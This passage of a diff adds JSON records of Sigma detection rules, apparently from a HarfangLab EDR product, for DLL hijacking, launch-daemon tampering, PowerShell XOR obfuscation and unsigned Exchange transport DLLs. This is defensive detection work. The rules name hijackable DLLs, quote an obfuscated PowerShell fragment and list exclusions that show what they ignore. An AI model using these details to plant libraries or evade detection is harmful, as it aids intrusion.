attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ie4uinit.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\IEADVPACK.dll'\n            - '\\iedkcs32.dll'\n            - '\\MLANG.dll'\n            - '\\netapi32.dll'\n            - '\\netutils.dll'\n            - '\\urlmon.dll'\n            - '\\WININET.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "022246ff-42f6-4d06-8173-3c88a407926a",
+  "rule_name": "DLL Hijacking via ie4uinit.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ie4uinit.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0247bb14-5962-4133-9181-cb2f419787f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093612Z",
+  "creation_date": "2026-03-23T11:45:34.093614Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093619Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/004/"
+  ],
+  "name": "t1543_004_launch_daemons_modified.yml",
+  "content": "title: Launch Daemon Modified\nid: 0247bb14-5962-4133-9181-cb2f419787f1\ndescription: |\n    Detects a modification of a launch daemon.\n    Adversaries may modify existing launch daemons in order to install a backdoor.\n    It is recommended to check if the process making the modification has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/004/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.004\n    - attack.defense_evasion\n    - attack.t1647\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_process:\n        ProcessImage|contains: '?'\n\n    selection_kind_write:\n        Kind: 'write'\n        Path|startswith:\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n\n    selection_kind_rename:\n        Kind: 'rename'\n        TargetPath|startswith:\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n\n    filter_nosync:\n        Path|contains: '.dat.nosync'\n\n    filter_ds_store:\n        Path|endswith: '/.DS_Store'\n\n    exclusion_vim:\n        Image: '/usr/bin/vim'\n\n    exclusion_jamf:\n        - Image: '/usr/local/jamf/bin/jamf'\n        - ProcessGrandparentImage: '/usr/local/jamf/bin/jamf'\n        - ProcessGrandparentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_installer:\n        - ProcessCommandLine|startswith:\n            - '/bin/bash /tmp/PKInstallSandbox.??????/'\n            - '/bin/sh /tmp/PKInstallSandbox.??????/'\n            - '/bin/bash /tmp/pkinstallsandbox.??????/scripts/'\n        - ProcessParentCommandLine|startswith:\n            - '/bin/bash /tmp/PKInstallSandbox.??????/'\n            - '/bin/sh /tmp/PKInstallSandbox.??????/'\n            - '/bin/bash /tmp/pkinstallsandbox.??????/scripts/'\n\n    # used by a lot of installer\n    exclusion_cp:\n        Image: '/bin/cp'\n\n    exclusion_bomgar:\n        ProcessCommandLine|startswith:\n            - '/bin/bash /Library/LaunchDaemons/.com.bomgar.bomgar-ps-*/mac_service_helper.sh'\n            - '/Library/LaunchDaemons/.com.bomgar.bomgar-ps-*.helper/run.state'\n\n    exclusion_desktop_services_priv:\n        ProcessCommandLine:\n            - '/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper'\n            - '/system/library/privateframeworks/desktopservicespriv.framework/versions/a/resources/desktopserviceshelper'\n\n    exclusion_finder:\n        Image: '/system/library/coreservices/finder.app/contents/macos/finder'\n\n    exclusion_common_folders:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n\n    exclusion_eset:\n        ProcessGrandparentImage: '/Applications/ESET Endpoint Security.app/Contents/MacOS/execd'\n\n    exclusion_rsync:\n        Image: '/usr/bin/rsync'\n\n    condition: selection_version and selection_process and 1 of selection_kind_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0247bb14-5962-4133-9181-cb2f419787f1",
+  "rule_name": "Launch Daemon Modified",
+  "rule_description": "Detects a modification of a launch daemon.\nAdversaries may modify existing launch daemons in order to install a backdoor.\nIt is recommended to check if the process making the modification has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.004",
+    "attack.t1647"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "027c5f6b-cba7-426c-af04-233b87967507",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593375Z",
+  "creation_date": "2026-03-23T11:45:34.593378Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593386Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vssadmin.yml",
+  "content": "title: DLL Hijacking via vssadmin.exe\nid: 027c5f6b-cba7-426c-af04-233b87967507\ndescription: |\n    Detects potential Windows DLL Hijacking via vssadmin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vssadmin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "027c5f6b-cba7-426c-af04-233b87967507",
+  "rule_name": "DLL Hijacking via vssadmin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vssadmin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "029996a2-753c-4bd1-ac20-b8f180acbf90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.491571Z",
+  "creation_date": "2026-03-23T11:45:34.624842Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624846Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/yellow-cockatoo/",
+    "https://redcanary.com/threat-detection-report/techniques/powershell/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "t1059_001_powershell_xor_obfuscation_script.yml",
+  "content": "title: PowerShell XOR Obfuscation\nid: 029996a2-753c-4bd1-ac20-b8f180acbf90\ndescription: |\n    Detects the use of the -bxor (byte XOR) encoding in a PowerShell script.\n    This is often used by attackers to load their payloads in PowerShell scripts as to avoid having them in cleartext, which would trigger security solutions.\n    It is recommended to use tools like CyberChef or to look in telemetry to obtain the cleartext version of the payload and analyze it.\n    If the script is benign, it is highly recommended to whitelist it using parts of the script or its path if possible.\nreferences:\n    - https://redcanary.com/blog/yellow-cockatoo/\n    - https://redcanary.com/threat-detection-report/techniques/powershell/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1027/\ndate: 2021/06/24\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1027\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    # seen in PowerShell commandlines :   ;$_-bXoR$S[($S[$I]+$S[$H])%256]}};\n    selection:\n        PowershellCommand|contains: '-bxor'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_remote_exchange:\n        PowershellCommand|contains|all:\n            - 'function ExportPSSessionAndImportModule'\n            - 'hashValue -bxor ?CurrentUserRemotePSSettings.Hash'\n        #  function ExportPSSessionAndImportModule ($remotePSSettinsPath, $modulePath, [switch]$AllowClobber)\n        # {\n        # $hashValue = $global:remoteSession.ApplicationPrivateData.ImplicitRemoting.Hash\n        # $CurrentUserRemotePSSettings = Get-ItemProperty -path $remotePSSettinsPath -ErrorAction SilentlyContinue\n        # # PS3.0, Get-ItemProperty will return DWORD data as UInt32, instead of Int32 in PS2.0.\n        # # If $hashValue is negative, (CurrentUserRemotePSSettings.Hash -ne $hashValue) will always be $true\n        # # We use bitwise xor operation to work around\n        # if (($CurrentUserRemotePSSettings -eq $null) `\n        # -or ($CurrentUserRemotePSSettings.Hash -eq $null) `\n        # -or (-not ($CurrentUserRemotePSSettings.ModulePath)) `\n        # -or (($hashValue -bxor $CurrentUserRemotePSSettings.Hash) -ne 0))\n        # {\n        # # Redo Everything, when:\n        # # 1. No registry entry found, or\n        # # 2. Registry entry exists, but hash value or ModulePath is empty (which is very unlikely) or\n    exclusion_sentinel_one:\n        # C:\\Program Files\\SentinelOne\\Sentinel Agent 21.6.2.272\\SentinelPie.bin\n        PowershellScriptPath: '?:\\Program Files\\SentinelOne\\Sentinel Agent *\\SentinelPie.bin'\n\n    exclusion_defender:\n        # C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\Firewall.psm1\n        - PowershellCommand|contains:\n            - 'xor between (2^32 - 1) and (2^(32-cidr) - 1) giving a binary with (32-cidr) leading bits ON'\n            - '[ipaddress]([math]::pow(2, 32) -1 -bxor'\n            - 'pow(2, 32) -1 -bxor [math]::pow(2, (32 - $cidr))-1)'\n        - ProcessParentImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\SenseIR.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseCM.exe'\n\n    exclusion_desktop_ini_hidden:\n        # https://github.com/Vincoll/PS_NetworkShortcutTreeview\n        # https://github.com/pauby/oxygen\n        PowershellCommand|contains|all:\n            - 'Desktop.ini'\n            - '-Name Attributes -Value ([IO.FileAttributes]::System -bxor [IO.FileAttributes]::Hidden'\n\n    # https://www.powershellgallery.com/packages/dbatools/1.1.103/Content/functions%5CInvoke-DbaDbDecryptObject.ps1\n    exclusion_dbatool1:\n        PowershellCommand|contains|all:\n            - 'function Invoke-DecryptData() {'\n            - '# Loop through each of the characters and apply an XOR to decrypt the data'\n            - '# Compare the byte string character to the key character using XOR'\n            - '# Create array list to hold the results'\n    exclusion_dbatool2:\n        PowershellCommand|contains|all:\n            - 'function Get-DbaProductKey {'\n            - '.SYNOPSIS'\n    exclusion_dbatool3:\n        PowershellCommand|contains|all:\n            - 'function Find-DbaInstance {'\n            - '.SYNOPSIS'\n\n    exclusion_ixbs_apps:\n        ProcessGrandparentImage:\n            - '?:\\SRCI\\iXBs_Applications\\iXBus Serveur\\Plugins\\\\*\\service.exe'\n            - '?:\\SRCI\\iXBs_Applications\\iXBus Server\\Plugins\\\\*\\service.exe'\n\n    exclusion_modules:\n        PowershellScriptPath|startswith:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\'\n            - '?:\\program files\\powershell\\7\\Modules\\'\n            - '?:\\Program Files (x86)\\Spiceworks Agent Shell\\modules\\Inventory Module\\'\n\n    exclusion_cyberwatch:\n        - ProcessImage|endswith: 'CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'CYBERWATCH SAS'\n        - ProcessParentImage: '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n\n    exclusion_ansible:\n        - ProcessGrandparentCommandLine|contains:\n            - 'powershell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand '\n            - 'powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand '\n            - 'powershell.exe -noninteractive -encodedcommand '\n          ProcessAncestors|contains:\n            - '?:\\Windows\\System32\\winrshost.exe|?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\OpenSSH\\sshd.exe|?:\\Windows\\System32\\services.exe'\n        - ProcessCommandLine|contains: 'powershell.exe -noninteractive -encodedcommand '\n          ProcessAncestors|contains: '?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe'\n        - PowershellCommand|contains: '$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec)'\n\n    exclusion_schedule:\n        - ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_log4net:\n        - PowershellScriptPath|endswith: '\\Log4Net-Module\\Log4Net-Module.psm1'\n        - PowershellCommand|contains|all:\n            - '# Example of File Appender initialization'\n            - '$Log = [log4net.LogManager]::GetLogger(\"root\");'\n            - '# $Log.$Level($Message); # Ne fonctionnait pas sous 2012 non R2 PS3.0'\n            - '[log4net.LogManager]::ResetConfiguration();'\n\n    exclusion_ninjarmm:\n        PowershellScriptPath: '?:\\ProgramData\\NinjaRMMAgent\\scripting\\\\*.ps1'\n\n    # https://github.com/DanysysTeam/PS-SFTA/blob/master/SFTA.ps1\n    exclusion_sfta:\n        PowershellCommand|contains|all:\n            - 'https://github.com/DanysysTeam/PS-SFTA'\n            - 'function Get-FTA {'\n            - 'Write-Output (( $iValue -shr $iCount) -bxor 0xFFFF0000)'\n\n    exclusion_sysvol:\n        PowershellScriptPath|contains: '\\sysvol\\\\*\\Policies\\{????????-????-????-????-????????????}\\User\\Scripts\\'\n\n    exclusion_avacee:\n        ProcessParentImage: '?:\\Program Files\\Avacee\\sip_agent\\SIPAgent.exe'\n\n    exclusion_wybot:\n        ProcessParentImage: '?:\\Program Files\\osquery\\\\*.exe'\n        Signed: 'true'\n        Signature: 'WYBOT SAS'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "029996a2-753c-4bd1-ac20-b8f180acbf90",
+  "rule_name": "PowerShell XOR Obfuscation",
+  "rule_description": "Detects the use of the -bxor (byte XOR) encoding in a PowerShell script.\nThis is often used by attackers to load their payloads in PowerShell scripts as to avoid having them in cleartext, which would trigger security solutions.\nIt is recommended to use tools like CyberChef or to look in telemetry to obtain the cleartext version of the payload and analyze it.\nIf the script is benign, it is highly recommended to whitelist it using parts of the script or its path if possible.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "029b4b5e-5b84-4646-ae2b-9c19d795c627",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617032Z",
+  "creation_date": "2026-03-23T11:45:34.617036Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617043Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
+    "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook",
+    "https://attack.mitre.org/techniques/T1505/002/"
+  ],
+  "name": "t1505_002_edgetransport_loading_unsigned_dll.yml",
+  "content": "title: Exchange EdgeTransport.exe Loaded Unsigned DLL\nid: 029b4b5e-5b84-4646-ae2b-9c19d795c627\ndescription: |\n    Detects the loading of an unsigned DLL into EdgeTransport.exe.\n    Attackers can install malicious TransportAgents in an compromised Exchange server. This malicious TransportAgent is in the form of a DLL loaded into EdgeTransport.exe.\n    Attackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\n    The malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\n    It is recommended to analyze the loaded DLL, as well as to look for other signs of intrusion on the affected server.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\n    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook\n    - https://attack.mitre.org/techniques/T1505/002/\ndate: 2022/11/22\nmodified: 2025/11/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.002\n    - attack.command_and_control\n    - attack.t1071.003\n    - attack.t1104\n    - attack.defense_evasion\n    - attack.t1546.008\n    - attack.collection\n    - attack.t1114.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EdgeTransport.exe'\n        ImageLoaded|contains: '?'\n\n    filter_empty:\n        ImageSize: 0\n\n    filter_microsoft_pdb:\n        ManagedPdbBuildPath|startswith:\n            - '?:\\dbs\\sh\\e16dt\\'\n            - '?:\\dbs\\sh\\gffn\\'\n\n    exclusion_signed:\n        Signed: 'true'\n\n    exclusion_assembly:\n        ImageLoaded|startswith: '?:\\Windows\\assembly\\'\n\n    exclusion_msvcm:\n        ImageLoaded: '?:\\Windows\\winsxs\\amd64_microsoft.vc*.crt_*\\msvcm*.dll'\n\n    exclusion_trendmicro:\n        ImageLoaded|startswith: '?:\\Program Files\\Trend Micro\\Smex\\'\n\n    exclusion_newton_json:\n        ManagedPdbBuildPath: '?:\\Development\\Releases\\Json\\Working\\Newtonsoft.Json\\Src\\Newtonsoft.Json\\obj\\Release\\Newtonsoft.Json.pdb'\n\n    exclusion_skimsigner:\n        ImageLoaded|startswith: '?:\\Program Files\\Exchange DkimSigner'\n\n    exclusion_exclaimer:\n        ImageLoaded|startswith: '?:\\Program Files\\Exclaimer Ltd\\Email Alias Manager\\'\n\n    exclusion_xml_serializer:\n        sha256: 'd934a6ed579619a0c0629606a0b774855703a5eec5661749e823d4456ed77e33'\n        ImageLoaded|startswith: '?:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\XmlSerializer.Exclaimer.LeanLicensing.License_'\n\n    exclusion_passive_monitoring:\n        sha256: '5eb73220279d1fa2525912a6e34061646990382b82dbd250297dbf6bbb8a9aaf'\n\n    exclusion_mimekit:\n        - ImageLoaded: '?:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\MimeKit.dll'\n        - sha256: '69ae032bad923d3e9b7ad95b569222cdbe6ddcfb56cb302e7419869000b07dcd'\n\n    exclusion_codetwo:\n        ImageLoaded: '?:\\Program Files\\CodeTwo\\CodeTwo Exchange Rules\\\\*.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "029b4b5e-5b84-4646-ae2b-9c19d795c627",
+  "rule_name": "Exchange EdgeTransport.exe Loaded Unsigned DLL",
+  "rule_description": "Detects the loading of an unsigned DLL into EdgeTransport.exe.\nAttackers can install malicious TransportAgents in an compromised Exchange server. This malicious TransportAgent is in the form of a DLL loaded into EdgeTransport.exe.\nAttackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\nThe malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\nIt is recommended to analyze the loaded DLL, as well as to look for other signs of intrusion on the affected server.\n",
+  "rule_creation_date": "2022-11-22",
+  "rule_modified_date": "2025-11-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1104",
+    "attack.t1114.002",
+    "attack.t1505.002",
+    "attack.t1546.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "029c4324-60c2-46df-b249-b6b72b737c5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616491Z",
+  "creation_date": "2026-03-23T11:45:34.616495Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616503Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/Cryptolaemus1/status/1733243361534857222",
